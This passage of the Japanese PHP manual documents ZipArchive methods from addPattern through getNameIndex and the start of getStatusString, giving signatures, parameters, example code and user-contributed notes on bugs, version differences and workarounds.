PCRE のパターン。どのファイルを対象にするのかを指定します。

path

スキャンするディレクトリ。デフォルトは、現在の作業ディレクトリです。

options

オプションの連想配列。ZipArchive::addGlob() と同じオプションが使えます。

返り値

成功した場合、追加されたファイルの array を返します。 失敗した場合に false を返します

例

例1 ZipArchive::addPattern() の例

現在の作業ディレクトリにある、すべての PHP スクリプトとテキストファイルを追加します。

<?php
$zip = new ZipArchive();
$ret = $zip->open('application.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);
if ($ret !== TRUE) {
    printf('Failed with code %d', $ret);
} else {
    $directory = realpath('.');
    $options = array('add_path' => 'sources/', 'remove_path' => $directory);
    $zip->addPattern('/\.(?:php|txt)$/', $directory, $options);
    $zip->close();
}
?>

参考

  • ZipArchive::addFile() - 指定したパスからファイルを ZIP アーカイブに追加する
  • ZipArchive::addGlob() - ディレクトリから、glob パターンを使ってファイルを追加する

User Contributed Notes

There are no user contributed notes for this page.


アクティブな (オープンされた、あるいは新しく作成された) アーカイブを閉じる

  • ≪ ZipArchive::addPattern
  • ZipArchive::count ≫
  • PHP Manual
  • ZipArchive
  • アクティブな (オープンされた、あるいは新しく作成された) アーカイブを閉じる

ZipArchive::close

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::close — アクティブな (オープンされた、あるいは新しく作成された) アーカイブを閉じる

説明

public ZipArchive::close ( ) : bool

オープンされた、あるいは作成されたアーカイブを閉じ、 変更内容を保存します。このメソッドは、 スクリプトの最後で自動的にコールされます。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

Enyby 08-Jan-2017 06:22
If you open archive without flags in PHP 5.6 then you can get errors on close:
Warning: ZipArchive::close(): Zip archive inconsistent in
And changes not saved.
You need use flag ZIPARCHIVE::OVERWRITE on $zip->open.

This issue happens for me only in php 5.6. In php 5.4 and before it works without any flags to $zip->open.
javier dot santacruz at avature dot net 28-Sep-2016 11:05
ZipArchive.close() changes its behaviour in PHP7. The function ignores directories in PHP5 but fails in PHP7 with:

Unexpected PHP error [ZipArchive::close(): Read error: Is a directory]

The following code works in PHP5 but not in PHP7:

<?php
// test.php
$zip = new ZipArchive();
$zip->open('/tmp/test.zip', ZipArchive::CREATE);
$zip->addFile('.', '.');
$ret = $zip->close();
echo "Closed with: " . ($ret ? "true" : "false") . "\n";
?>

For php5:

php --version
  PHP 5.5.38-1-avature-ondrej-fork (cli) (built: Aug 31 2016 16:37:38)

php test.php
  Closed with: true

For php7:

php --version
  PHP 7.0.8-0ubuntu0.16.04.2 (cli) ( NTS )

php test.php
  Closed with: false
valera at creator dot su 08-Aug-2014 01:22
Pay attention, that ZipArchive::addFile() only opens file descriptor and does not compress it. And only ZipArchive::close() compress file and it take quite a lot of time. Be careful with timeouts.
m021 at springtimesoftware dot com 19-May-2011 01:14
If you have created a zip file and added a file to it without error, yet the ZipArchive::close call fails (with ER_TMPOPEN: "Failure to create temporary file") and the zip file is not created, check to see if your ZipArchive::open call specifies a pathname containing nonexisting directories. If you expect a containing hierarchy of one or more directories, you must create them yourself before using using ZipArchive. You can write a simple function to recurse using dirname to find each parent directory, creating those that don't exist by using mkdir when leaving the recursion.
webnull dot www at gmail dot com 12-Mar-2011 01:40
Please note you must have write permissions to file and directory where the files is placed to save the archive.
john factorial 29-Dec-2010 12:58
If you're adding multiple files to a zip and your $zip->close() call is returning FALSE, ensure that all the files you added actually exist. Apparently $zip->addFile() returns TRUE even if the file doesn't actually exist. It's a good idea to check each file with file_exists() or is_readable() before calling $zip->addFile() on it.
jared at kippage dot com 02-Sep-2009 06:08
It may seem a little obvious to some but it was an oversight on my behalf.

If you are adding files to the zip file that you want to be deleted make sure you delete AFTER you call the close() function.

If the files added to the object aren't available at save time the zip file will not be created.
gilthans at gmail dot com 22-Oct-2007 11:16
Don't forget to check the zip isn't empty, folks - otherwise the zip won't be created at all, and the server will issue no warning!

I used a certain loop to add files to the zip, and struggled with permissions and documentation for hours before I realize the loop ended up adding no file, even though addFile WAS called, but on a non-existent file.
This might be the reason your zips aren't popping up.


アーカイブにあるファイルの数を数える

  • ≪ ZipArchive::close
  • ZipArchive::deleteIndex ≫
  • PHP Manual
  • ZipArchive
  • アーカイブにあるファイルの数を数える

ZipArchive::count

(PHP 7 >= 7.2.0, PHP 8, PECL zip >= 1.15.0)

ZipArchive::count — アーカイブにあるファイルの数を数える

説明

public ZipArchive::count ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

アーカイブにあるファイルの数を返します。

User Contributed Notes

Ignacio C. E. 31-Aug-2018 07:42
You can use $zip->numFiles if you are on PHP <7.2
ohcc at 163 dot com 01-Feb-2018 12:11
ZipArchive::count() is introduced in PHP 7.2.


インデックスを使用して、アーカイブ内のエントリを削除する

  • ≪ ZipArchive::count
  • ZipArchive::deleteName ≫
  • PHP Manual
  • ZipArchive
  • インデックスを使用して、アーカイブ内のエントリを削除する

ZipArchive::deleteIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::deleteIndex — インデックスを使用して、アーカイブ内のエントリを削除する

説明

public ZipArchive::deleteIndex ( int $index ) : bool

インデックスをもとにして、アーカイブ内のエントリを削除します。

パラメータ

index

削除するエントリのインデックス。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 インデックスを使用した、アーカイブからのファイルの削除

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->deleteIndex(2);
    $zip->close();
    echo '成功';
} else {
    echo '失敗';
}
?>

User Contributed Notes

mubin at brokergenius dot com 06-Sep-2013 06:56
I'm trying to delete file using deleteName and deleteIndex, it returns true but files are not removed. can anybody tell me how could it be?

Here is code snippet

$zip = new ZipArchive ;
$zipname = "www.zip" ;
chmod( $zipname, 0777 ) ;

if ( $zip->open( $zipname ) )
{
     $loop = $zip->numFiles ;
    for ( $i = 0; $i < $loop; $i++ )
    {

        var_dump($zip->deleteIndex( $i )) ;
        var_dump(deleteName($zip->getNameIndex( $i )). "/") ;

    }
}$zip->close() ;


名前を使用して、アーカイブからエントリを削除する

  • ≪ ZipArchive::deleteIndex
  • ZipArchive::extractTo ≫
  • PHP Manual
  • ZipArchive
  • 名前を使用して、アーカイブからエントリを削除する

ZipArchive::deleteName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::deleteName — 名前を使用して、アーカイブからエントリを削除する

説明

public ZipArchive::deleteName ( string $name ) : bool

名前をもとにして、アーカイブ内のエントリを削除します。

パラメータ

name

削除するエントリの名前。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 名前を使用した、アーカイブからのファイルやディレクトリの削除

<?php
$zip = new ZipArchive;
if ($zip->open('test1.zip') === TRUE) {
    $zip->deleteName('testfromfile.php');
    $zip->deleteName('testDir/');
    $zip->close();
    echo '成功';
} else {
    echo '失敗';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


アーカイブの内容を展開する

  • ≪ ZipArchive::deleteName
  • ZipArchive::getArchiveComment ≫
  • PHP Manual
  • ZipArchive
  • アーカイブの内容を展開する

ZipArchive::extractTo

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::extractTo — アーカイブの内容を展開する

説明

public ZipArchive::extractTo ( string $pathto , array|string|null $files = null ) : bool

アーカイブの全体あるいは指定したファイルを、 指定した場所に展開します。

警告

展開されたファイルとディレクトリのデフォルトのパーミッションは、 可能な限りもっとも広いアクセス権限になります。 これは umask() 関数で変更できる umask で制限できます。

パラメータ

pathto

ファイルを展開する場所。

files

展開するエントリ。単一のエントリ名、 あるいはエントリ名の配列を指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 全エントリの展開

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->extractTo('/my/destination/dir/');
    $zip->close();
    echo '成功';
} else {
    echo '失敗';
}
?>

例2 二つのエントリの展開

<?php
$zip = new ZipArchive;
$res = $zip->open('test_im.zip');
if ($res === TRUE) {
    $zip->extractTo('/my/destination/dir/', array('pear_item.gif', 'testfromfile.php'));
    $zip->close();
    echo '成功';
} else {
    echo '失敗';
}
?>

User Contributed Notes

cucurella at gmail dot com 25-Jan-2021 10:50
// Handling ERROR file by file !!

<?php

$ERROR_UNZIP = false;
$dest = "../";
$zipfile = "test.zip";

$zip = new ZipArchive;

if ($zip->open("$zipfile") === true) {

    for ($i = 0; $i < $zip -> numFiles; $i++) {
        $RETVAL = false;

        $filename = $zip->getNameIndex($i);

        $RETVAL = $zip->extractTo($dest,$filename);

        if ($RETVAL) {
            print "$filename ... [ OK ]<br>";
        } else {
            print "$filename ... [ ERROR ]<br>";
            $ERROR_UNZIP = true;
        }
    }

    // close
    $zip -> close();

    // retval
    if ($ERROR_UNZIP) {
        print "<p>ERROR unziping ${zipfile}</p>";
    } else {
        print "<p>Unzip OK</p>";
    }
} else {
    print "<p>ERROR opening ${zipfile}</p>";
}

?>
icixtec at gmail dot com 04-Jan-2020 03:32
Para casos donde sea necesario descomprimir archivos sin saber si el nombre esta en mayusculas o minusculas:

$zip = new ZipArchive;
if ($zip->open('myfile.zip') === TRUE) {
    //no funciona
    //$zip->extractTo('./', array( 'file1.XML', 'file1.xml'));
    //funciona
    $zip->extractTo('./', 'file1.XML' );
    $zip->extractTo('./', 'file1.xml' );
    $zip->close();
}
Anonymous 24-Feb-2018 06:43
If you want to extract the files just to the current folder, simply use
$zip->extractTo(".");

It took me hours to figure this out.
skrzypecki at gmail dot com 25-Sep-2017 06:12
Please note that the path can not be to long! I am not sure what the maximum length is, didnt find any information about that. But i kept getting issues when using extractTo().

Than after google i found this little comment: https://github.com/composer/composer/issues/2824#issuecomment-308201902

CopyPasted comment:
===
I had this path in my machine:

C:/xampp5.0/htdocs/project-recordando-symfony/project-recordando-symfony
Then I ran composer install or/and composer update and it returned this error:

ErrorException ZipArchive::extractTo...

That error is because your path is too much long, I changed to:

C:/xampp5.0/htdocs/p-symfony/*
and worked!
===
synnus at gmail dot com 31-Aug-2017 12:59
<?php

    // This version allows to see which file will be decompressed and to keep
    // a follow-up on decompression

    define( 'FILEPATH',     dirname(__FILE__)     . '\\' );
    define( 'TEST',         FILEPATH             . 'test\\' );

$za = new ZipArchive();

$za->open(FILEPATH . 'test.zip');
print_r($za);
var_dump($za);
echo "Nombre de fichiers : " . $za->numFiles . "\n";
echo "Statut : " . $za->status  . "\n";
echo "Statut du systeme : " . $za->statusSys . "\n";
echo "Nom du fichier : " . $za->filename . "\n";
echo "Commentaire : " . $za->comment . "\n";

/*  in $za->statIndex($i)

    [name] => data/x.luac
    [index] => 451
    [crc] => -1266183263
    [size] => 2936
    [mtime] => 1464790482
    [comp_size] => 976
    [comp_method] => 8
*/

for ($i=0; $i<$za->numFiles;$i++) {
    echo "index : $i\n";
    $name = $za->statIndex($i)['name'];
    $size = $za->statIndex($i)['size'];
    $comp_size = $za->statIndex($i)['comp_size'];
    print_r($name . ' [ ' . $size . '>' . $comp_size . ']' );
    $za->extractTo(TEST,$name);
}
echo "Nombre de fichiers :" . $za->numFiles . "\n";

?>
ohcc at 163 dot com 07-Jul-2017 09:54
WARNING!!!!

if you are running php under Apache, a .htaccess file inside the zip file may fail the extractTo() method.
ben dot tyger at tygerclan dot net 08-Jan-2016 06:03
Note, in Linux (possibly other *nix platforms too) there is no way to extract hidden files ( aka filename starting with a '.') from a Zip archive.
stanislav dot eckert at vizson dot de 17-Dec-2014 04:03
The extractTo() method does not offer any parameter to allow extracting files and folders recursively from another (parent) folder inside the ZIP archive. With the following method it is possible:

<?php
  class my_ZipArchive extends ZipArchive
  {
    public function extractSubdirTo($destination, $subdir)
    {
      $errors = array();

      // Prepare dirs
      $destination = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $destination);
      $subdir = str_replace(array("/", "\\"), "/", $subdir);

      if (substr($destination, mb_strlen(DIRECTORY_SEPARATOR, "UTF-8") * -1) != DIRECTORY_SEPARATOR)
        $destination .= DIRECTORY_SEPARATOR;

      if (substr($subdir, -1) != "/")
        $subdir .= "/";

      // Extract files
      for ($i = 0; $i < $this->numFiles; $i++)
      {
        $filename = $this->getNameIndex($i);

        if (substr($filename, 0, mb_strlen($subdir, "UTF-8")) == $subdir)
        {
          $relativePath = substr($filename, mb_strlen($subdir, "UTF-8"));
          $relativePath = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $relativePath);

          if (mb_strlen($relativePath, "UTF-8") > 0)
          {
            if (substr($filename, -1) == "/")  // Directory
            {
              // New dir
              if (!is_dir($destination . $relativePath))
                if (!@mkdir($destination . $relativePath, 0755, true))
                  $errors[$i] = $filename;
            }
            else
            {
              if (dirname($relativePath) != ".")
              {
                if (!is_dir($destination . dirname($relativePath)))
                {
                  // New dir (for file)
                  @mkdir($destination . dirname($relativePath), 0755, true);
                }
              }

              // New file
              if (@file_put_contents($destination . $relativePath, $this->getFromIndex($i)) === false)
                $errors[$i] = $filename;
            }
          }
        }
      }

      return $errors;
    }
  }
?>

Example:
<?php
  echo "<pre>";

  $zip = new my_ZipArchive();
  if ($zip->open("test.zip") === TRUE)
  {
    $errors = $zip->extractSubdirTo("C:/output", "folder/subfolder/");
    $zip->close();

    echo 'ok, errors: ' . count($errors);
  }
  else
  {
    echo 'failed';
  }
?>
sachinyadav at live dot com 12-Nov-2010 12:29
This script will search for ".txt" file(any file name) inside test.zip archive. Suppose, 'example.txt' file is found then the script will copy 'example.txt' to "txt_files" directory and rename it to 'test.zip.txt' and will remove all the blank lines from 'test.zip.txt' and resave and will exit the loop without searching remaining entries.
This script can be useful to extract .DIZ and GIF files to display ZIP archive details in your script.
<?php
   $value="test.zip";
   $filename="zip_files/$value";
   $zip = new ZipArchive;
     if ($zip->open($filename) === true) {
      echo "Generating TEXT file.";
          for($i = 0; $i < $zip->numFiles; $i++) {
             $entry = $zip->getNameIndex($i);
               if(preg_match('#\.(txt)$#i', $entry))
                {
                ////This copy function will move the entry to the root of "txt_files" without creating any sub-folders unlike "ZIP->EXTRACTO" function.
                copy('zip://'.dirname(__FILE__).'/zip_files/'.$value.'#'.$entry, 'txt_files/'.$value.'.txt');
                $content = file_get_contents("txt_files/$value.txt");
                $newcontent = preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $content);
                file_put_contents("txt_files/$value.txt", "$newcontent");
                break;
                }
              }
             $zip->close();
            }
    else{
         echo "ZIP archive failed";
        }
?>

enjoy PHP programming.
Sachin Yadav
php-dev at proneticas dot net 07-Nov-2010 11:22
If you want to copy one file at a time and remove the folder name that is stored in the ZIP file, so you don't have to create directories from the ZIP itself, then use this snippet (basically collapses the ZIP file into one Folder).

<?php

$path = 'zipfile.zip'

$zip = new ZipArchive;
if ($zip->open($path) === true) {
    for($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        $fileinfo = pathinfo($filename);
        copy("zip://".$path."#".$filename, "/your/new/destination/".$fileinfo['basename']);
    }
    $zip->close();
}

?>

* On a side note, you can also use $_FILES['userfile']['tmp_name'] as the $path for an uploaded ZIP so you never have to move it or extract a uploaded zip file.

Cheers!

ProNeticas Dev Team
quake2005 at gmail dot com 20-Aug-2010 11:05
If you want to extract one file at a time, you can use this:

<?php

$path = 'zipfile.zip'

$zip = new ZipArchive;
if ($zip->open($path) === true) {

    for($i = 0; $i < $zip->numFiles; $i++) {

        $zip->extractTo('path/to/extraction/', array($zip->getNameIndex($i)));

        // here you can run a custom function for the particular extracted file

    }

    $zip->close();

}

?>
cory dot mawhorter at ephective dot com 18-Apr-2010 01:28
This function will flatten a zip file using the ZipArchive class.

It will extract all the files in the zip and store them in a single destination directory.  That is, no sub-directories will be created.

If anyone knows a better way to determine if an entry is a directory, please chime in.  I feel dirty checking for a trailing slash.

<?php
// dest shouldn't have a trailing slash
function zip_flatten ( $zipfile, $dest='.' )
{
    $zip = new ZipArchive;
    if ( $zip->open( $zipfile ) )
    {
        for ( $i=0; $i < $zip->numFiles; $i++ )
        {
            $entry = $zip->getNameIndex($i);
            if ( substr( $entry, -1 ) == '/' ) continue; // skip directories

            $fp = $zip->getStream( $entry );
            $ofp = fopen( $dest.'/'.basename($entry), 'w' );

            if ( ! $fp )
                throw new Exception('Unable to extract the file.');

            while ( ! feof( $fp ) )
                fwrite( $ofp, fread($fp, 8192) );

            fclose($fp);
            fclose($ofp);
        }

                $zip->close();
    }
    else
        return false;

    return $zip;
}

/*
Example Usage:

zip_flatten( 'test.zip', 'my/path' );
*/
?>

[EDIT BY danbrown AT php DOT net: Added $zip-close() per indication by original poster in follow-up note on 18-APR-2010.]
Anonymous 02-Dec-2009 04:38
I am using this function to extract a specific folder and it's contents from a zip file:

<?php
function extractDir($zipfile, $path) {
  if (file_exists($zipfile)) {
    $files = array();
    $zip = new ZipArchive;
    if ($zip->open($zipfile) === TRUE) {
      for($i = 0; $i < $zip->numFiles; $i++) {
        $entry = $zip->getNameIndex($i);
        //Use strpos() to check if the entry name contains the directory we want to extract
        if (strpos($entry, "/MyFolder/")) {
          //Add the entry to our array if it in in our desired directory
          $files[] = $entry;
        }
      }
      //Feed $files array to extractTo() to get only the files we want
      if ($zip->extractTo($path, $files) === TRUE) {
        return TRUE;
      } else {
        return FALSE;
      }
      $zip->close();
    } else {
      return FALSE;
    }
  } else {
    return FALSE;
  }
}

//Run the function
if (extractDir($zipfile, $path)) {
  $extracted = "YES! :-D";
} else {
  $extracted = "NO! :*(";
}

echo $extracted;
?>
kawzaki at yahoo dot com 31-May-2009 09:28
Please be aware of the fact that using this function has OVERWRITE true.

an old file will be overwritten if the achieve (zipped file) contains file matching the same old file name.

old files that has no match in the zip, will be kept as is.

hopefully the someone will explain how to avoid overwriting old files.
Anonymous 02-Apr-2009 01:50
I found it useful to add this to a function.

<?php
/**
*  Extracts a ZIP archive to the specified extract path
*
*  @param string $file The ZIP archive to extract (including the path)
*  @param string $extractPath The path to extract the ZIP archive to
*
*  @return boolean TURE if the ZIP archive is successfully extracted, FALSE if there was an errror
*
*/
function zip_extract($file, $extractPath) {

    $zip = new ZipArchive;
    $res = $zip->open($file);
    if ($res === TRUE) {
        $zip->extractTo($extractPath);
        $zip->close();
        return TRUE;
    } else {
        return FALSE;
    }

} // end function
?>
tBone 02-Jun-2008 05:03
This function, at least from my experience, maintains/forces the directory structure within the ZIP file.

ie. if you have FOLDER1/File1.txt in the zip file and you use
$zip->extractTo('/extract', 'FOLDER1/File1.txt');
the location of the extracted file will be:
/extract/FOLDER1/File1.txt


ZIP アーカイブのコメントを返す

  • ≪ ZipArchive::extractTo
  • ZipArchive::getCommentIndex ≫
  • PHP Manual
  • ZipArchive
  • ZIP アーカイブのコメントを返す

ZipArchive::getArchiveComment

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getArchiveComment — ZIP アーカイブのコメントを返す

説明

public ZipArchive::getArchiveComment ( int $flags = 0 ) : string|false

Zip アーカイブのコメントを返します。

パラメータ

flags

ZipArchive::FL_UNCHANGED を設定すると、 元の変更されていないコメントを返します。

返り値

Zip アーカイブのコメントを返します。失敗した場合に false を返します。

例

例1 アーカイブのコメントの出力

<?php
$zip = new ZipArchive;
$res = $zip->open('test_with_comment.zip');
if ($res === TRUE) {
    var_dump($zip->getArchiveComment());
    /* あるいはアーカイブのプロパティを使用します */
    var_dump($zip->comment);
} else {
    echo '失敗、コード:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


エントリのインデックスを使用して、エントリのコメントを返す

  • ≪ ZipArchive::getArchiveComment
  • ZipArchive::getCommentName ≫
  • PHP Manual
  • ZipArchive
  • エントリのインデックスを使用して、エントリのコメントを返す

ZipArchive::getCommentIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::getCommentIndex — エントリのインデックスを使用して、エントリのコメントを返す

説明

public ZipArchive::getCommentIndex ( int $index , int $flags = 0 ) : string|false

エントリのインデックスを使用して、エントリのコメントを返します。

パラメータ

index

エントリのインデックス。

flags

ZipArchive::FL_UNCHANGED を指定すると、 元の変化していないコメントを返します。

返り値

成功した場合にコメント、失敗した場合に false を返します。

例

例1 エントリのコメントの出力

<?php
$zip = new ZipArchive;
$res = $zip->open('test1.zip');
if ($res === TRUE) {
    var_dump($zip->getCommentIndex(1));
} else {
    echo '失敗、コード:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


エントリ名を使用して、エントリのコメントを返す

  • ≪ ZipArchive::getCommentIndex
  • ZipArchive::getExternalAttributesIndex ≫
  • PHP Manual
  • ZipArchive
  • エントリ名を使用して、エントリのコメントを返す

ZipArchive::getCommentName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::getCommentName — エントリ名を使用して、エントリのコメントを返す

説明

public ZipArchive::getCommentName ( string $name , int $flags = 0 ) : string|false

エントリ名を使用して、エントリのコメントを返します。

パラメータ

name

エントリの名前。

flags

ZipArchive::FL_UNCHANGED を指定すると、 元の変化していないコメントが返されます。

返り値

成功した場合にコメント、失敗した場合に false を返します。

例

例1 エントリのコメントの出力

<?php
$zip = new ZipArchive;
$res = $zip->open('test1.zip');
if ($res === TRUE) {
    var_dump($zip->getCommentName('test/entry1.txt'));
} else {
    echo '失敗、コード:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


インデックスで定義されたエントリの外部属性を取得する

  • ≪ ZipArchive::getCommentName
  • ZipArchive::getExternalAttributesName ≫
  • PHP Manual
  • ZipArchive
  • インデックスで定義されたエントリの外部属性を取得する

ZipArchive::getExternalAttributesIndex

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::getExternalAttributesIndex — インデックスで定義されたエントリの外部属性を取得する

説明

public ZipArchive::GetExternalAttributesIndex ( int $index , int &$opsys , int &$attr , int $flags = ? ) : bool

インデックスで定義されたエントリの外部属性を取得します。

パラメータ

index

エントリのインデックス

opsys

成功した場合に、 ZipArchive::OPSYS_ 定数のうちのひとつで定義された、 オペレーティングシステムコードを取得します。

attr

成功した場合に、外部属性を取得します。 値はオペレーティングシステム依存です。

flags

ZipArchive::FL_UNCHANGED に設定された場合、 オリジナルの変更されなかった属性が返されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

この例は、ZIP アーカイブ test.zip の 全エントリを展開し、外部属性から Unixの権限を設定しています。

例1 全てのエントリをUnixの権限付きで展開する

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip') === TRUE) {
    for ($idx=0 ; $s = $zip->statIndex($idx) ; $idx++) {
        if ($zip->extractTo('.', $s['name'])) {
            if ($zip->getExternalAttributesIndex($idx, $opsys, $attr)
                && $opsys==ZipArchive::OPSYS_UNIX) {
               chmod($s['name'], ($attr >> 16) & 0777);
            }
        }
    }
    $zip->close();
    echo "Ok\n";
} else {
    echo "KO\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


名前で定義されたエントリの外部属性を取得する

  • ≪ ZipArchive::getExternalAttributesIndex
  • ZipArchive::getFromIndex ≫
  • PHP Manual
  • ZipArchive
  • 名前で定義されたエントリの外部属性を取得する

ZipArchive::getExternalAttributesName

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::getExternalAttributesName — 名前で定義されたエントリの外部属性を取得する

説明

public ZipArchive::getExternalAttributesName ( string $name , int &$opsys , int &$attr , int $flags = 0 ) : bool

名前で定義されたエントリの外部属性を取得します。

パラメータ

name

エントリの名前

opsys

成功した場合に、 ZipArchive::OPSYS_ 定数のうちのひとつで定義された、 オペレーティングシステムコードを取得します。

attr

成功した場合に、外部属性を取得します。 値はオペレーティングシステム依存です。

flags

ZipArchive::FL_UNCHANGED に設定された場合、 オリジナルの変更されなかった属性が返されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


インデックスを使用して、エントリの内容を返す

  • ≪ ZipArchive::getExternalAttributesName
  • ZipArchive::getFromName ≫
  • PHP Manual
  • ZipArchive
  • インデックスを使用して、エントリの内容を返す

ZipArchive::getFromIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getFromIndex — インデックスを使用して、エントリの内容を返す

説明

public ZipArchive::getFromIndex ( int $index , int $len = 0 , int $flags = 0 ) : string|false

インデックスを使用して、エントリの内容を返します。

パラメータ

index

エントリのインデックス。

len

エントリから読み込む長さ。0 の場合はエントリ全体を読み込みます。

flags

アーカイブのオープン時に使用するフラグ。以下の値を OR で連結して使用します。

  • ZipArchive::FL_UNCHANGED

  • ZipArchive::FL_COMPRESSED

返り値

成功した場合にエントリの内容、失敗した場合に false を返します。

例

例1 ファイルの内容の取得

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    echo $zip->getFromIndex(2);
    $zip->close();
} else {
    echo '失敗';
}
?>

参考

  • ZipArchive::getFromName() - 名前を使用して、エントリの内容を返す

User Contributed Notes

Ruben 12-May-2015 07:59
For detecting folders use function ::getNameIndex:

//$zip = ZipArchive::open()
$entry = $zip->getNameIndex($i);
$isDir = (substr($entry, -1, 1) == '/');

Thanks to Alex Howansky @ http://stackoverflow.com/a/19299626/2747584
poorpal at example dot com 16-Mar-2015 10:03
both getFromIndex and getFromName leak memory. Beware specially if you use them inside a long running loop. Even closing and re-opening the zip file doesn't help.
StanE 17-Dec-2014 02:35
Unlike what "jana.vasseru" said 7 years ago, this method does not return FALSE for folders (anymore?). It seems that there is no way to find out if an entry is a directory of file.
matt3k 26-Jun-2013 01:21
Note, length is in characters and not bytes.
jana.vasseru 17-Aug-2007 04:26
Note that getFromIndex returns false for directories.


名前を使用して、エントリの内容を返す

  • ≪ ZipArchive::getFromIndex
  • ZipArchive::getNameIndex ≫
  • PHP Manual
  • ZipArchive
  • 名前を使用して、エントリの内容を返す

ZipArchive::getFromName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getFromName — 名前を使用して、エントリの内容を返す

説明

public ZipArchive::getFromName ( string $name , int $len = 0 , int $flags = 0 ) : string|false

名前を使用して、エントリの内容を返します。

パラメータ

name

エントリの名前。

len

エントリから読み込む長さ。0 の場合はエントリ全体を読み込みます。

flags

エントリを探す際に使用するフラグ。以下の値を OR で連結して使用します。

  • ZipArchive::FL_UNCHANGED

  • ZipArchive::FL_COMPRESSED

  • ZipArchive::FL_NOCASE

返り値

成功した場合にエントリの内容、失敗した場合に false を返します。

例

例1 ファイルの内容の取得

<?php
$zip = new ZipArchive;
if ($zip->open('test1.zip') === TRUE) {
    echo $zip->getFromName('testfromfile.php');
    $zip->close();
} else {
    echo '失敗';
}
?>

例2 zip エントリの画像への変換

<?php
$z = new ZipArchive();
if ($z->open(dirname(__FILE__) . '/test_im.zip')) {
    $im_string = $z->getFromName("pear_item.gif");
    $im = imagecreatefromstring($im_string);
    imagepng($im, 'b.png');
}
?>

参考

  • ZipArchive::getFromIndex() - インデックスを使用して、エントリの内容を返す

User Contributed Notes

masterboreq at gmail dot com 26-Jan-2020 08:33
When passing to the method explicit string which contains a relative path (inside the ZIP archive), e.g. 'path/to/file.php/' please make sure you used single quotation mark (') not the double one ("). Double quotation mark produce FALSE (at least at Windows machine) giving no further hints what gone wrong.
Also, please make sure that the path delimiters used inside your ZIP file is backslash or forward slash since it's make a difference in this place too.
I hope I saved you a headache while working with this (so far) unmentioned "feature" :)
henrik dot haftmann at gmail dot com 22-Sep-2016 11:02
The handling of file names containing non-ASCII characters is undocumented. It seems that this function calls <?php mb_convert_encoding($name,"CP850","UTF-8") ?> and therefore expects DOS encoding in the zipfile but UTF-8 encoding for the name. If the zipfile uses UTF-8 names (Pkzip 4.5 / Winzip 11.2), this function fails. Use getFromIndex instead as a workaround.


インデックスを使用して、エントリの名前を返す

  • ≪ ZipArchive::getFromName
  • ZipArchive::getStatusString ≫
  • PHP Manual
  • ZipArchive
  • インデックスを使用して、エントリの名前を返す

ZipArchive::getNameIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::getNameIndex — インデックスを使用して、エントリの名前を返す

説明

public ZipArchive::getNameIndex ( int $index , int $flags = 0 ) : string|false

インデックスを使用して、エントリの名前を返します。

パラメータ

index

エントリのインデックス。

flags

ZipArchive::FL_UNCHANGED を指定すると、 元の変化していないコメントを返します。

返り値

成功した場合に名前、失敗した場合に false を返します。

例

例1 ZipArchive::getNameIndex() の例

<?php
if ($zip->open('test.zip') == TRUE) {
 for ($i = 0; $i < $zip->numFiles; $i++) {
     $filename = $zip->getNameIndex($i);
     // ...
 }
}
?>

User Contributed Notes

Yeslifer 03-Mar-2009 04:13
I couldn't find any how-to example for getting the filenames, so I made an easy one.

Here's an example how to list all filenames from a zip-archive:

<?php
$zip = new ZipArchive;
if ($zip->open('items.zip'))
{
     for($i = 0; $i < $zip->numFiles; $i++)
     {
          echo 'Filename: ' . $zip->getNameIndex($i) . '<br />';
     }
}
else
{
     echo 'Error reading zip-archive!';
}
?>

Hope it helps.


システムエラー、または ZIP メッセージに関するエラー情報を返す

  • ≪ ZipArchive::getNameIndex
  • ZipArchive::getStream ≫
  • PHP Manual
  • ZipArchive
  • システムエラー、または ZIP メッセージに関するエラー情報を返す

ZipArchive::getStatusString

(PHP 5 >= 5.2.7, PHP 7, PHP 8)

ZipArchive::getStatusString — システムエラー、または ZIP メッセージに関するエラー情報を返す

説明

public ZipArchive::getStatusString ( ) : string

システムエラー、または ZIP メッセージに関するエラー情報を返す

パラメータ

この関数にはパラメータはありません。

